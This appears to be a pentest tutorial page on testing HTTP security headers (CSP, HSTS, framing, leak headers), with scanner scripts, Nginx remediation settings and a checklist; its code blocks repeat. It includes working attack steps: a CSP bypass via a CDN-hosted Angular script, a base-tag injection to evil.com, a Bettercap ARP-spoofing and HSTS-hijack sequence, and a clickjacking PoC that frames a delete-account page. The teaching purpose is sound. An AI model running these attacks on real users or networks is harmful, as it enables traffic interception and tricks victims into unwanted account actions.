Exploitation A05

Security Headers Testing

HTTP security headers are a critical defense layer. Missing or misconfigured headers enable clickjacking, XSS, MIME sniffing, SSL stripping, and data leakage attacks.

๐Ÿ”’ Why Security Headers Matter

Defense in Depth: Headers provide browser-enforced security controls that mitigate many common attacks
Low-Hanging Fruit: Missing security headers are among the most frequently reported findings in pentests
Compliance Requirements: Standards like PCI DSS, SOC 2, and OWASP explicitly require security headers
Easy to Fix: Security headers are typically simple to implement at the server/CDN level

๐Ÿ› ๏ธ Header Testing Tools

SecurityHeaders.com

Free online header scanner with grading

Website โ†’

Mozilla Observatory

Comprehensive security configuration assessment

Website โ†’

testssl.sh

SSL/TLS + header testing from command line

brew install testssl Website โ†’

Nuclei

Template-based header checks at scale

nuclei -t http/misconfiguration/

Burp Suite

Passive detection of missing headers

# Passive scan

CSP Evaluator

Google's CSP analysis tool

Website โ†’

1. Content-Security-Policy (CSP)

CSP controls which resources the browser is allowed to load. A weak or missing CSP dramatically increases XSS exploitability. Testing CSP is essential on every web pentest.

Testing CSP

bash
# Retrieve and analyze CSP header
curl -sI https://target.com | grep -i "content-security-policy"

# Common weak CSP patterns to look for:
# unsafe-inline            โ†’ Allows inline scripts (XSS exploitable)
# unsafe-eval              โ†’ Allows eval() (XSS exploitable)
# data: in script-src      โ†’ Allows data: URI scripts
# * or *.cdn.com           โ†’ Overly broad source allowlists
# Missing default-src      โ†’ No fallback policy
# Missing frame-ancestors  โ†’ Clickjacking possible

# CSP bypass via allowed CDNs (e.g., cdnjs.cloudflare.com)
# If a CDN hosts Angular/jQuery, attacker can load it and bypass CSP
# Example: script-src 'self' cdnjs.cloudflare.com;
# Bypass: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
# Retrieve and analyze CSP header
curl -sI https://target.com | grep -i "content-security-policy"

# Common weak CSP patterns to look for:
# unsafe-inline            โ†’ Allows inline scripts (XSS exploitable)
# unsafe-eval              โ†’ Allows eval() (XSS exploitable)
# data: in script-src      โ†’ Allows data: URI scripts
# * or *.cdn.com           โ†’ Overly broad source allowlists
# Missing default-src      โ†’ No fallback policy
# Missing frame-ancestors  โ†’ Clickjacking possible

# CSP bypass via allowed CDNs (e.g., cdnjs.cloudflare.com)
# If a CDN hosts Angular/jQuery, attacker can load it and bypass CSP
# Example: script-src 'self' cdnjs.cloudflare.com;
# Bypass: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>

CSP Bypass Techniques

CSP Directive Weakness Bypass
script-src 'unsafe-inline' Allows inline scripts Standard XSS payloads work
script-src 'unsafe-eval' Allows eval() Use eval-based payloads
script-src *.google.com Broad CDN allowlist Host payload on Google Apps Script
script-src 'nonce-xxx' Nonce leaked or predictable Reuse leaked nonce value
No base-uri directive Base tag injection possible <base href="https://evil.com/">
No frame-ancestors Clickjacking possible Frame the target page

2. Strict-Transport-Security (HSTS)

HSTS forces browsers to use HTTPS, preventing SSL stripping attacks. Missing HSTS allows tools like sslstrip and Bettercap to downgrade connections.

bash
# Check HSTS header
curl -sI https://target.com | grep -i "strict-transport"

# Ideal HSTS header:
# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# Test for HSTS weaknesses:
# 1. Missing header entirely โ†’ SSL stripping possible
# 2. Low max-age (< 1 year) โ†’ Short protection window
# 3. Missing includeSubDomains โ†’ Subdomains vulnerable to downgrade
# 4. Not in HSTS preload list โ†’ First visit vulnerable

# Check preload status
# Visit: https://hstspreload.org/?domain=target.com

# SSL stripping attack with Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set hstshijack.targets target.com
> hstshijack on
# Check HSTS header
curl -sI https://target.com | grep -i "strict-transport"

# Ideal HSTS header:
# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# Test for HSTS weaknesses:
# 1. Missing header entirely โ†’ SSL stripping possible
# 2. Low max-age (< 1 year) โ†’ Short protection window
# 3. Missing includeSubDomains โ†’ Subdomains vulnerable to downgrade
# 4. Not in HSTS preload list โ†’ First visit vulnerable

# Check preload status
# Visit: https://hstspreload.org/?domain=target.com

# SSL stripping attack with Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set hstshijack.targets target.com
> hstshijack on

3. X-Frame-Options & Clickjacking

Missing or weak framing controls allow clickjacking attacks where a user interacts with a transparent iframe over a fake page.

bash
# Check framing headers
curl -sI https://target.com | grep -iE "x-frame-options|frame-ancestors"

# Expected values:
# X-Frame-Options: DENY                    โ†’ Cannot be framed
# X-Frame-Options: SAMEORIGIN              โ†’ Only same-origin framing
# Content-Security-Policy: frame-ancestors 'none';    โ†’ CSP equivalent of DENY
# Content-Security-Policy: frame-ancestors 'self';    โ†’ CSP equivalent of SAMEORIGIN

# Note: CSP frame-ancestors supersedes X-Frame-Options in modern browsers
# Check framing headers
curl -sI https://target.com | grep -iE "x-frame-options|frame-ancestors"

# Expected values:
# X-Frame-Options: DENY                    โ†’ Cannot be framed
# X-Frame-Options: SAMEORIGIN              โ†’ Only same-origin framing
# Content-Security-Policy: frame-ancestors 'none';    โ†’ CSP equivalent of DENY
# Content-Security-Policy: frame-ancestors 'self';    โ†’ CSP equivalent of SAMEORIGIN

# Note: CSP frame-ancestors supersedes X-Frame-Options in modern browsers
html
<!-- Clickjacking PoC -->
<html>
<head><title>Clickjacking PoC</title></head>
<body>
<h1>Click the button to win a prize!</h1>
<div style="position: relative;">
  <button style="position: absolute; top: 0; left: 0; z-index: 1; 
    opacity: 0.001; width: 500px; height: 500px;">CLICK</button>
  <iframe src="https://target.com/settings/delete-account" 
    style="width: 500px; height: 500px; border: none; z-index: 0;">
  </iframe>
</div>
</body>
</html>
<!-- Clickjacking PoC -->
<html>
<head><title>Clickjacking PoC</title></head>
<body>
<h1>Click the button to win a prize!</h1>
<div style="position: relative;">
  <button style="position: absolute; top: 0; left: 0; z-index: 1; 
    opacity: 0.001; width: 500px; height: 500px;">CLICK</button>
  <iframe src="https://target.com/settings/delete-account" 
    style="width: 500px; height: 500px; border: none; z-index: 0;">
  </iframe>
</div>
</body>
</html>

4. Other Critical Headers

Header Purpose Recommended Value Attack if Missing
X-Content-Type-Options Prevent MIME sniffing nosniff MIME confusion / XSS via uploaded files
Referrer-Policy Control referrer leakage strict-origin-when-cross-origin Token/path leakage via Referer header
Permissions-Policy Restrict browser features camera=(), microphone=(), geolocation=() Unauthorized access to camera/mic/location
Cross-Origin-Opener-Policy Isolate browsing contexts same-origin Cross-origin window handle leaks (Spectre)
Cross-Origin-Embedder-Policy Require CORS for subresources require-corp Side-channel attacks (SharedArrayBuffer)
Cross-Origin-Resource-Policy Prevent cross-origin reads same-origin Cross-origin data leakage

5. Information Leakage Headers

bash
# Headers that leak server information (should be removed/hidden)
curl -sI https://target.com | grep -iE "server:|x-powered-by|x-aspnet|x-generator"

# Common leaky headers:
# Server: Apache/2.4.51 (Ubuntu)      โ†’ Reveals server + OS + version
# X-Powered-By: Express               โ†’ Reveals framework
# X-Powered-By: PHP/8.1.2             โ†’ Reveals language + version
# X-AspNet-Version: 4.0.30319         โ†’ Reveals .NET version
# X-AspNetMvc-Version: 5.2.7          โ†’ Reveals MVC version
# X-Generator: WordPress 6.4          โ†’ Reveals CMS + version

# These enable targeted CVE exploitation
# Headers that leak server information (should be removed/hidden)
curl -sI https://target.com | grep -iE "server:|x-powered-by|x-aspnet|x-generator"

# Common leaky headers:
# Server: Apache/2.4.51 (Ubuntu)      โ†’ Reveals server + OS + version
# X-Powered-By: Express               โ†’ Reveals framework
# X-Powered-By: PHP/8.1.2             โ†’ Reveals language + version
# X-AspNet-Version: 4.0.30319         โ†’ Reveals .NET version
# X-AspNetMvc-Version: 5.2.7          โ†’ Reveals MVC version
# X-Generator: WordPress 6.4          โ†’ Reveals CMS + version

# These enable targeted CVE exploitation

Automation Scripts

Bash Header Analyzer

bash
#!/bin/bash
# Security Headers Analyzer
TARGET="$1"

echo "[*] Analyzing security headers: $TARGET"

HEADERS=$(curl -sI "$TARGET")

check_header() {
    local header="$1"
    local result=$(echo "$HEADERS" | grep -i "^$header:" | head -1)
    if [ -n "$result" ]; then
        echo "  [+] $result"
    else
        echo "  [-] MISSING: $header"
    fi
}

echo ""
echo "=== Security Headers ==="
check_header "Strict-Transport-Security"
check_header "Content-Security-Policy"
check_header "X-Content-Type-Options"
check_header "X-Frame-Options"
check_header "Referrer-Policy"
check_header "Permissions-Policy"
check_header "Cross-Origin-Opener-Policy"
check_header "Cross-Origin-Embedder-Policy"
check_header "Cross-Origin-Resource-Policy"
check_header "X-XSS-Protection"

echo ""
echo "=== Info Leak Headers ==="
check_header "Server"
check_header "X-Powered-By"
check_header "X-AspNet-Version"
check_header "X-AspNetMvc-Version"

echo ""
echo "=== Cookie Flags ==="
echo "$HEADERS" | grep -i "set-cookie" | while read -r line; do
    echo "  Cookie: $line"
    if echo "$line" | grep -qi "secure"; then echo "    [+] Secure flag"; else echo "    [-] Missing Secure"; fi
    if echo "$line" | grep -qi "httponly"; then echo "    [+] HttpOnly flag"; else echo "    [-] Missing HttpOnly"; fi
    if echo "$line" | grep -qi "samesite"; then echo "    [+] SameSite set"; else echo "    [-] Missing SameSite"; fi
done
#!/bin/bash
# Security Headers Analyzer
TARGET="$1"

echo "[*] Analyzing security headers: $TARGET"

HEADERS=$(curl -sI "$TARGET")

check_header() {
    local header="$1"
    local result=$(echo "$HEADERS" | grep -i "^$header:" | head -1)
    if [ -n "$result" ]; then
        echo "  [+] $result"
    else
        echo "  [-] MISSING: $header"
    fi
}

echo ""
echo "=== Security Headers ==="
check_header "Strict-Transport-Security"
check_header "Content-Security-Policy"
check_header "X-Content-Type-Options"
check_header "X-Frame-Options"
check_header "Referrer-Policy"
check_header "Permissions-Policy"
check_header "Cross-Origin-Opener-Policy"
check_header "Cross-Origin-Embedder-Policy"
check_header "Cross-Origin-Resource-Policy"
check_header "X-XSS-Protection"

echo ""
echo "=== Info Leak Headers ==="
check_header "Server"
check_header "X-Powered-By"
check_header "X-AspNet-Version"
check_header "X-AspNetMvc-Version"

echo ""
echo "=== Cookie Flags ==="
echo "$HEADERS" | grep -i "set-cookie" | while read -r line; do
    echo "  Cookie: $line"
    if echo "$line" | grep -qi "secure"; then echo "    [+] Secure flag"; else echo "    [-] Missing Secure"; fi
    if echo "$line" | grep -qi "httponly"; then echo "    [+] HttpOnly flag"; else echo "    [-] Missing HttpOnly"; fi
    if echo "$line" | grep -qi "samesite"; then echo "    [+] SameSite set"; else echo "    [-] Missing SameSite"; fi
done

Python Bulk Scanner

python
#!/usr/bin/env python3
"""Security Headers Checker - Bulk scanner"""
import requests
import sys
import json
from concurrent.futures import ThreadPoolExecutor

SECURITY_HEADERS = {
    "Strict-Transport-Security": {"severity": "HIGH", "description": "HSTS not set - vulnerable to SSL stripping"},
    "Content-Security-Policy": {"severity": "MEDIUM", "description": "CSP not set - increased XSS risk"},
    "X-Content-Type-Options": {"severity": "LOW", "description": "MIME sniffing not prevented"},
    "X-Frame-Options": {"severity": "MEDIUM", "description": "Clickjacking possible"},
    "Referrer-Policy": {"severity": "LOW", "description": "Referrer leakage possible"},
    "Permissions-Policy": {"severity": "LOW", "description": "Browser features not restricted"},
}

def check_url(url):
    try:
        resp = requests.get(url, timeout=10, allow_redirects=True)
        missing = []
        for header, info in SECURITY_HEADERS.items():
            if header.lower() not in {h.lower() for h in resp.headers}:
                missing.append({"header": header, **info})
        return {"url": url, "status": resp.status_code, "missing": missing}
    except Exception as e:
        return {"url": url, "error": str(e)}

if __name__ == "__main__":
    urls = [line.strip() for line in open(sys.argv[1]) if line.strip()]
    with ThreadPoolExecutor(max_workers=10) as pool:
        results = list(pool.map(check_url, urls))
    
    for r in results:
        if "error" in r:
            print(f"[-] {r['url']}: {r['error']}")
        else:
            print(f"[*] {r['url']} ({r['status']}): {len(r['missing'])} missing headers")
            for m in r['missing']:
                print(f"    [{m['severity']}] {m['header']}: {m['description']}")
#!/usr/bin/env python3
"""Security Headers Checker - Bulk scanner"""
import requests
import sys
import json
from concurrent.futures import ThreadPoolExecutor

SECURITY_HEADERS = {
    "Strict-Transport-Security": {"severity": "HIGH", "description": "HSTS not set - vulnerable to SSL stripping"},
    "Content-Security-Policy": {"severity": "MEDIUM", "description": "CSP not set - increased XSS risk"},
    "X-Content-Type-Options": {"severity": "LOW", "description": "MIME sniffing not prevented"},
    "X-Frame-Options": {"severity": "MEDIUM", "description": "Clickjacking possible"},
    "Referrer-Policy": {"severity": "LOW", "description": "Referrer leakage possible"},
    "Permissions-Policy": {"severity": "LOW", "description": "Browser features not restricted"},
}

def check_url(url):
    try:
        resp = requests.get(url, timeout=10, allow_redirects=True)
        missing = []
        for header, info in SECURITY_HEADERS.items():
            if header.lower() not in {h.lower() for h in resp.headers}:
                missing.append({"header": header, **info})
        return {"url": url, "status": resp.status_code, "missing": missing}
    except Exception as e:
        return {"url": url, "error": str(e)}

if __name__ == "__main__":
    urls = [line.strip() for line in open(sys.argv[1]) if line.strip()]
    with ThreadPoolExecutor(max_workers=10) as pool:
        results = list(pool.map(check_url, urls))
    
    for r in results:
        if "error" in r:
            print(f"[-] {r['url']}: {r['error']}")
        else:
            print(f"[*] {r['url']} ({r['status']}): {len(r['missing'])} missing headers")
            for m in r['missing']:
                print(f"    [{m['severity']}] {m['header']}: {m['description']}")

๐Ÿ›ก๏ธ Remediation & Defense

Recommended Header Configuration

nginx
# Recommended security headers (Nginx example)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none';" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;

# Remove information leakage headers
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;
# Recommended security headers (Nginx example)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none';" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;

# Remove information leakage headers
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;

CWE References: CWE-693 (Protection Mechanism Failure), CWE-1021 (Improper Restriction of Rendered UI Layers), CWE-16 (Configuration)

โœ… Security Headers Checklist

Critical Headers
  • โ˜ Content-Security-Policy present & strong
  • โ˜ Strict-Transport-Security with preload
  • โ˜ X-Frame-Options or frame-ancestors
  • โ˜ X-Content-Type-Options: nosniff
Important Headers
  • โ˜ Referrer-Policy configured
  • โ˜ Permissions-Policy set
  • โ˜ COOP/COEP/CORP headers
  • โ˜ Cookie flags (Secure, HttpOnly, SameSite)
Info Leakage
  • โ˜ Server header hidden/generic
  • โ˜ X-Powered-By removed
  • โ˜ Technology-specific headers removed
  • โ˜ Error pages don't leak stack traces

๐Ÿงช Practice Labs